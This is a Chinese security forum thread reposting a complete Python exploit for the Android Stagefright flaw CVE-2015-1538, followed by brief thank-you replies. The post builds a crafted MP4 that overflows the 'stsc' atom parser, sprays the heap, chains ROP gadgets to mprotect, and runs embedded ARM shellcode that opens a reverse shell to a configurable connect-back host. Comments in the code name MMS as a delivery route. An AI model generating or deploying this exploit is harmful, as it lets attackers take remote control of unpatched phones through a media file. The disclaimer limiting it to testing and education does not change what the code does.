查看: 91986|回复: 441

Android Stagefright - Remote Code Execution Exploit

[复制链接]
  • TA的每日心情

    2024-11-13 20:06
  • 签到天数: 1628 天

    [LV.Master]伴坛终老

    发表于 2015-9-10 22:31:49 | 显示全部楼层 |阅读模式
    CVE: 2015-1538

    [Python] 纯文本查看 复制代码
    #!/usr/bin/env python
    # Joshua J. Drake (@jduck) of ZIMPERIUM zLabs
    # Shout outs to our friends at Optiv (formerly Accuvant Labs)
    # (C) Joshua J. Drake, ZIMPERIUM Inc, Mobile Threat Protection, 2015
    # [url]www.zimperium.com[/url]
    #
    # Exploit for RCE Vulnerability CVE-2015-1538 #1
    # Integer Overflow in the libstagefright MP4 ‘stsc’ atom handling
    #
    # Don’t forget, the output of “create_mp4” can be delivered many ways!
    # MMS is the most dangerous attack vector, but not the only one…
    #
    # DISCLAIMER: This exploit is for testing and educational purposes only. Any
    # other usage for this code is not allowed. Use at your own risk.
    #
    # “With great power comes great responsibility.” – Uncle Ben
    #
    import struct
    import socket
    #
    # Creates a single MP4 atom – LEN, TAG, DATA
    #
    def make_chunk(tag, data):
       if len(tag) != 4:
           raise ‘Yo! They call it “FourCC” for a reason.’
       ret = struct.pack(‘>L’, len(data) + 8)
       ret += tag
       ret += data
       return ret
    #
    # Make an ‘stco’ atom – Sample Table Chunk Offets
    #
    def make_stco(extra=”):
       ret =  struct.pack(‘>L’, 0) # version
       ret += struct.pack(‘>L’, 0) # mNumChunkOffsets
       return make_chunk(‘stco’, ret+extra)
    #
    # Make an ‘stsz’ atom – Sample Table Size
    #
    def make_stsz(extra=”):
       ret =  struct.pack(‘>L’, 0) # version
       ret += struct.pack(‘>L’, 0) # mDefaultSampleSize
       ret += struct.pack(‘>L’, 0) # mNumSampleSizes
       return make_chunk(‘stsz’, ret+extra)
    #
    # Make an ‘stts’ atom – Sample Table Time-to-Sample
    #
    def make_stts():
       ret =  struct.pack(‘>L’, 0) # version
       ret += struct.pack(‘>L’, 0) # mTimeToSampleCount
       return make_chunk(‘stts’, ret)
    #
    # This creates a single Sample Table Sample-to-Chunk entry
    #
    def make_stsc_entry(start, per, desc):
       ret = ”
       ret += struct.pack(‘>L’, start + 1)
       ret += struct.pack(‘>L’, per)
       ret += struct.pack(‘>L’, desc)
       return ret
    #
    # Make an ‘stsc’ chunk – Sample Table Sample-to-Chunk
    #
    # If the caller desires, we will attempt to trigger (CVE-2015-1538 #1) and
    # cause a heap overflow.
    #
    def make_stsc(num_alloc, num_write, sp_addr=0x42424242, do_overflow = False):
       ret =  struct.pack(‘>L’, 0) # version/flags
       # this is the clean version…
       if not do_overflow:
           ret += struct.pack(‘>L’, num_alloc) # mNumSampleToChunkOffsets
           ret += ‘Z’ * (12 * num_alloc)
           return make_chunk(‘stsc’, ret)
      
       # now the explicit version. (trigger the bug)
       ret += struct.pack(‘>L’, 0xc0000000 + num_alloc) # mNumSampleToChunkOffsets
       # fill in the entries that will overflow the buffer
       for x in range(0, num_write):
           ret += make_stsc_entry(sp_addr, sp_addr, sp_addr)
      
       ret = make_chunk(‘stsc’, ret)
      
       # patch the data_size
       ret = struct.pack(‘>L’, 8 + 8 + (num_alloc * 12)) + ret[4:]
      
       return ret
      
    #
    # Build the ROP chain
    #
    # ROP pivot by Georg Wicherski! Thanks!
    #
    “””
    (gdb) x/10i __dl_restore_core_regs
      0xb0002850 <__dl_restore_core_regs>: add r1, r0, #52 ; 0x34
      0xb0002854 <__dl_restore_core_regs+4>:   ldm r1, {r3, r4, r5}
      0xb0002858 <__dl_restore_core_regs+8>:   push    {r3, r4, r5}
      0xb000285c <__dl_restore_core_regs+12>:  ldm r0, {r0, r1, r2, r3, r4, r5, r6, r7, r8, r9, r10, r11}
      0xb0002860 <__dl_restore_core_regs+16>:  ldm sp, {sp, lr, pc}
    “””
    “””
    b0001144 <__dl_mprotect>:
    b0001144:       e92d0090        push    {r4, r7}
    b0001148:       e3a0707d        mov     r7, #125        ; 0x7d
    b000114c:       ef000000        svc     0x00000000
    b0001150:       e8bd0090        pop     {r4, r7}
    b0001154:       e1b00000        movs    r0, r0
    b0001158:       512fff1e        bxpl    lr
    b000115c:       ea0015cc        b       b0006894 <__dl_raise+0x10>
    “””
    def build_rop(off, sp_addr, newpc_val, cb_host, cb_port):
       rop = ”
       rop += struct.pack(‘<L’, sp_addr + off + 0x10) # new sp
       rop += struct.pack(‘<L’, 0xb0002a98)           # new lr – pop {pc}
       rop += struct.pack(‘<L’, 0xb00038b2+1)         # new pc: pop {r0, r1, r2, r3, r4, pc}
      
       rop += struct.pack(‘<L’, sp_addr & 0xfffff000) # new r0 – base address (page aligned)
       rop += struct.pack(‘<L’, 0x1000)               # new r1 – length
       rop += struct.pack(‘<L’, 7)                    # new r2 – protection
       rop += struct.pack(‘<L’, 0xd000d003)           # new r3 – scratch
       rop += struct.pack(‘<L’, 0xd000d004)           # new r4 – scratch
       rop += struct.pack(‘<L’, 0xb0001144)           # new pc – _dl_mprotect
      
       native_start = sp_addr + 0x80
       rop += struct.pack(‘<L’, native_start)         # address of native payload
       #rop += struct.pack(‘<L’, 0xfeedfed5)          # top of stack…
       # linux/armle/shell_reverse_tcp (modified to pass env and fork/exit)
       buf =  ”
       # fork
       buf += ‘\x02\x70\xa0\xe3’
       buf += ‘\x00\x00\x00\xef’
       # continue if not parent…
       buf += ‘\x00\x00\x50\xe3’
       buf += ‘\x02\x00\x00\x0a’
       # exit parent
       buf += ‘\x00\x00\xa0\xe3’
       buf += ‘\x01\x70\xa0\xe3’
       buf += ‘\x00\x00\x00\xef’
       # setsid in child
       buf += ‘\x42\x70\xa0\xe3’
       buf += ‘\x00\x00\x00\xef’
       # socket/connect/dup2/dup2/dup2
       buf += ‘\x02\x00\xa0\xe3\x01\x10\xa0\xe3\x05\x20\x81\xe2\x8c’
       buf += ‘\x70\xa0\xe3\x8d\x70\x87\xe2\x00\x00\x00\xef\x00\x60’
       buf += ‘\xa0\xe1\x6c\x10\x8f\xe2\x10\x20\xa0\xe3\x8d\x70\xa0’
       buf += ‘\xe3\x8e\x70\x87\xe2\x00\x00\x00\xef\x06\x00\xa0\xe1’
       buf += ‘\x00\x10\xa0\xe3\x3f\x70\xa0\xe3\x00\x00\x00\xef\x06’
       buf += ‘\x00\xa0\xe1\x01\x10\xa0\xe3\x3f\x70\xa0\xe3\x00\x00’
       buf += ‘\x00\xef\x06\x00\xa0\xe1\x02\x10\xa0\xe3\x3f\x70\xa0’
       buf += ‘\xe3\x00\x00\x00\xef’
       # execve(shell, argv, env)
       buf += ‘\x30\x00\x8f\xe2\x04\x40\x24\xe0’
       buf += ‘\x10\x00\x2d\xe9\x38\x30\x8f\xe2\x08\x00\x2d\xe9\x0d’
       buf += ‘\x20\xa0\xe1\x10\x00\x2d\xe9\x24\x40\x8f\xe2\x10\x00’
       buf += ‘\x2d\xe9\x0d\x10\xa0\xe1\x0b\x70\xa0\xe3\x00\x00\x00’
       buf += ‘\xef\x02\x00’
       # Add the connect back host/port
       buf += struct.pack(‘!H’, cb_port)
       cb_host = socket.inet_aton(cb_host)
       buf += struct.pack(‘=4s’, cb_host)
       # shell –
       buf += ‘/system/bin/sh\x00\x00’
       # argv –
       buf += ‘sh\x00\x00’
       # env –
       buf += ‘PATH=/sbin:/vendor/bin:/system/sbin:/system/bin:/system/xbin\x00’
      
       # Add some identifiable stuff, just in case something goes awry…
       rop_start_off = 0x34
       x = rop_start_off + len(rop)
       while len(rop) < 0x80 – rop_start_off:
           rop += struct.pack(‘<L’, 0xf0f00000+x)
           x += 4
      
       # Add the native payload…
       rop += buf
      
       return rop
      
    #
    # Build an mp4 that exploits CVE-2015-1538 #1
    #
    # We mimic meow.3gp here…
    #
    def create_mp4(sp_addr, newpc_val, cb_host, cb_port):
       chunks = []
      
       # Build the MP4 header…
       ftyp =  ‘mp42’
       ftyp += struct.pack(‘>L’, 0)
       ftyp += ‘mp42’
       ftyp += ‘isom’
       chunks.append(make_chunk(‘ftyp’, ftyp))
      
       # Note, this causes a few allocations…
       moov_data = ”
       moov_data += make_chunk(‘mvhd’,
           struct.pack(‘>LL’, 0, 0x41414141) +
           (‘B’ * 0x5c) )
      
       # Add a minimal, verified trak to satisfy mLastTrack being set
       moov_data += make_chunk(‘trak’,
           make_chunk(‘stbl’,
               make_stsc(0x28, 0x28) +
               make_stco() +
               make_stsz() +
               make_stts() ))
      
       # Spray the heap using a large tx3g chunk (can contain binary data!)
       “””
          0x4007004e <_ZNK7android7RefBase9decStrongEPKv+2>:   ldr r4, [r0, #4]  ; load mRefs
          0x40070050 <_ZNK7android7RefBase9decStrongEPKv+4>:   mov r5, r0
          0x40070052 <_ZNK7android7RefBase9decStrongEPKv+6>:   mov r6, r1
          0x40070054 <_ZNK7android7RefBase9decStrongEPKv+8>:   mov r0, r4
          0x40070056 <_ZNK7android7RefBase9decStrongEPKv+10>:  blx 0x40069884    ; atomic_decrement
          0x4007005a <_ZNK7android7RefBase9decStrongEPKv+14>:  cmp r0, #1        ; must be 1
          0x4007005c <_ZNK7android7RefBase9decStrongEPKv+16>:  bne.n   0x40070076 <_ZNK7android7RefBase9decStrongEPKv+42>
          0x4007005e <_ZNK7android7RefBase9decStrongEPKv+18>:  ldr r0, [r4, #8]  ; load refs->mBase
          0x40070060 <_ZNK7android7RefBase9decStrongEPKv+20>:  ldr r1, [r0, #0]  ; load mBase._vptr
          0x40070062 <_ZNK7android7RefBase9decStrongEPKv+22>:  ldr r2, [r1, #12] ; load method address
          0x40070064 <_ZNK7android7RefBase9decStrongEPKv+24>:  mov r1, r6
          0x40070066 <_ZNK7android7RefBase9decStrongEPKv+26>:  blx r2            ; call it!
       “””
       page = ”
       off = 0  # the offset to the next object
       off += 8
       page += struct.pack(‘<L’, sp_addr + 8 + 16 + 8 + 12 – 28)    # _vptr.RefBase (for when we smash mDataSource)
       page += struct.pack(‘<L’, sp_addr + off) # mRefs
       off += 16
       page += struct.pack(‘<L’, 1)             # mStrong
       page += struct.pack(‘<L’, 0xc0dedbad)    # mWeak
       page += struct.pack(‘<L’, sp_addr + off) # mBase
       page += struct.pack(‘<L’, 16)            # mFlags (dont set OBJECT_LIFETIME_MASK)
       off += 8
       page += struct.pack(‘<L’, sp_addr + off) # the mBase _vptr.RefBase
       page += struct.pack(‘<L’, 0xf00dbabe)    # mBase.mRefs (unused)
       off += 16
       page += struct.pack(‘<L’, 0xc0de0000 + 0x00)  # vtable entry 0
       page += struct.pack(‘<L’, 0xc0de0000 + 0x04)  # vtable entry 4
       page += struct.pack(‘<L’, 0xc0de0000 + 0x08)  # vtable entry 8
       page += struct.pack(‘<L’, newpc_val)          # vtable entry 12
       rop = build_rop(off, sp_addr, newpc_val, cb_host, cb_port)
       x = len(page)
       while len(page) < 4096:
           page += struct.pack(‘<L’, 0xf0f00000+x)
           x += 4
      
       off = 0x34
       page = page[:off] + rop + page[off+len(rop):]
       spray = page * (((2*1024*1024) / len(page)) – 20)
       moov_data += make_chunk(‘tx3g’, spray)
       block = ‘A’ * 0x1c
       bigger = ‘B’ * 0x40
       udta = make_chunk(‘udta’,
           make_chunk(‘meta’,
               struct.pack(‘>L’, 0) +
               make_chunk(‘ilst’,
                   make_chunk(‘cpil’,    make_chunk(‘data’, struct.pack(‘>LL’, 21, 0) + ‘A’)) +
                   make_chunk(‘trkn’,    make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + ‘AAAABBBB’)) +
                   make_chunk(‘disk’,    make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + ‘AAAABB’)) +
                   make_chunk(‘covr’,    make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) * 32 +
                   make_chunk(‘\xa9alb’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) +
                   make_chunk(‘\xa9ART’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) +
                   make_chunk(‘aART’,    make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) +
                   make_chunk(‘\xa9day’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) +
                   make_chunk(‘\xa9nam’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) +
                   make_chunk(‘\xa9wrt’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) +
                   make_chunk(‘gnre’,    make_chunk(‘data’, struct.pack(‘>LL’, 1, 0) + block)) +
                   make_chunk(‘covr’,    make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) * 32 +
                   make_chunk(‘\xa9ART’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + bigger)) +
                   make_chunk(‘\xa9wrt’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + bigger)) +
                   make_chunk(‘\xa9day’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + bigger)))
               )
           )
       moov_data += udta
      
       # Make the nasty trak
       tkhd1 = ”.join([
           ‘\x00’,       # version
           ‘D’ * 3,      # padding
           ‘E’ * (5*4),  # {c,m}time, id, ??, duration
           ‘F’ * 0x10,   # ??
           struct.pack(‘>LLLLLL’,
               0x10000,  # a00
               0,        # a01
               0,        # dx
               0,        # a10
               0x10000,  # a11
               0),       # dy
           ‘G’ * 0x14
           ])
      
       trak1 = ”
       trak1 += make_chunk(‘tkhd’, tkhd1)
      
       mdhd1 = ”.join([
           ‘\x00’,       # version
           ‘D’ * 0x17,   # padding
           ])
      
       mdia1 = ”
       mdia1 += make_chunk(‘mdhd’, mdhd1)
       mdia1 += make_chunk(‘hdlr’, ‘F’ * 0x3a)
      
       dinf1 = ”
       dinf1 += make_chunk(‘dref’, ‘H’ * 0x14)
      
       minf1 = ”
       minf1 += make_chunk(‘smhd’, ‘G’ * 0x08)
       minf1 += make_chunk(‘dinf’, dinf1)
      
       # Build the nasty sample table to trigger the vulnerability here.
       stbl1 = make_stsc(3, (0x1200 / 0xc) – 1, sp_addr, True) # TRIGGER
      
       # Add the stbl to the minf chunk
       minf1 += make_chunk(‘stbl’, stbl1)
      
       # Add the minf to the mdia chunk
       mdia1 += make_chunk(‘minf’, minf1)
      
       # Add the mdia to the track
       trak1 += make_chunk(‘mdia’, mdia1)
      
       # Add the nasty track to the moov data
       moov_data += make_chunk(‘trak’, trak1)
      
       # Finalize the moov chunk
       moov = make_chunk(‘moov’, moov_data)
       chunks.append(moov)
      
       # Combine outer chunks together and voila.
       data = ”.join(chunks)
      
       return data
      
    if __name__ == ‘__main__’:
       import sys
       import mp4
       import argparse
      
       def write_file(path, content):
           with open(path, ‘wb’) as f:
               f.write(content)
      
       def addr(sval):
           if sval.startswith(‘0x’):
               return int(sval, 16)
           return int(sval)
      
       # The address of a fake StrongPointer object (sprayed)
       sp_addr   = 0x41d00010  # takju @ imm76i – 2MB (via hangouts)
      
       # The address to of our ROP pivot
       newpc_val = 0xb0002850 # point sp at __dl_restore_core_regs
      
       # Allow the user to override parameters
       parser = argparse.ArgumentParser()
       parser.add_argument(‘-c’, ‘–connectback-host’, dest=‘cbhost’, default=‘31.3.3.7’)
       parser.add_argument(‘-p’, ‘–connectback-port’, dest=‘cbport’, type=int, default=12345)
       parser.add_argument(‘-s’, ‘–spray-address’, dest=‘spray_addr’, type=addr, default=None)
       parser.add_argument(‘-r’, ‘–rop-pivot’, dest=‘rop_pivot’, type=addr, default=None)
       parser.add_argument(‘-o’, ‘–output-file’, dest=‘output_file’, default=‘cve-2015-1538-1.mp4’)
       args = parser.parse_args()
      
       if len(sys.argv) == 1:
           parser.print_help()
           sys.exit(–1)
      
       if args.spray_addr == None:
           args.spray_addr = sp_addr
       if args.rop_pivot == None:
           args.rop_pivot = newpc_val
      
       # Build the MP4 file…
       data = mp4.create_mp4(args.spray_addr, args.rop_pivot, args.cbhost, args.cbport)
       print(‘[*] Saving crafted MP4 to %s …’ % args.output_file)
       write_file(args.output_file, data) - See more at: [url]https://blog.zimperium.com/the-latest-on-stagefright-cve-2015-1538-exploit-is-now-available-for-testing-purposes/#sthash.MbvoiMxd.dpuf[/url]
    回复

    使用道具 举报

    该用户从未签到

    发表于 2015-9-11 07:07:10 | 显示全部楼层
    学习学习技术,加油!
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-9-11 15:34:19 | 显示全部楼层
    还是不错的哦,顶了
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-9-12 07:32:13 | 显示全部楼层
    还是不错的哦,顶了
    回复 支持 反对

    使用道具 举报

  • TA的每日心情

    2019-2-12 22:05
  • 签到天数: 2 天

    [LV.1]初来乍到

    发表于 2015-9-12 08:08:30 | 显示全部楼层
    学习学习技术,加油!
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    2016-3-4 11:35
  • 签到天数: 3 天

    [LV.2]偶尔看看I

    发表于 2015-9-12 12:37:19 | 显示全部楼层
    学习学习技术,加油!
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-9-12 15:32:14 | 显示全部楼层
    支持中国红客联盟(ihonker.org)
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-9-13 09:43:58 | 显示全部楼层
    支持中国红客联盟(ihonker.org)
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    郁闷
    2016-4-13 21:38
  • 签到天数: 1 天

    [LV.1]初来乍到

    发表于 2015-9-13 09:59:22 | 显示全部楼层
    感谢楼主的分享~
    回复 支持 反对

    使用道具 举报

  • TA的每日心情

    2019-2-12 22:05
  • 签到天数: 2 天

    [LV.1]初来乍到

    发表于 2015-9-14 05:27:51 | 显示全部楼层
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    指导单位

    江苏省公安厅

    江苏省通信管理局

    浙江省台州刑侦支队

    DEFCON GROUP 86025

    旗下站点

    邮箱系统

    应急响应中心

    红盟安全

    联系我们

    官方QQ群:112851260

    官方邮箱:security#ihonker.org(#改成@)

    官方核心成员

    Archiver|手机版|小黑屋| ( 苏ICP备2021031567号 )

    GMT+8, 2024-11-24 10:51 , Processed in 0.058086 second(s), 15 queries , Gzip On, MemCache On.

    Powered by ihonker.com

    Copyright © 2015-现在.

  • 返回顶部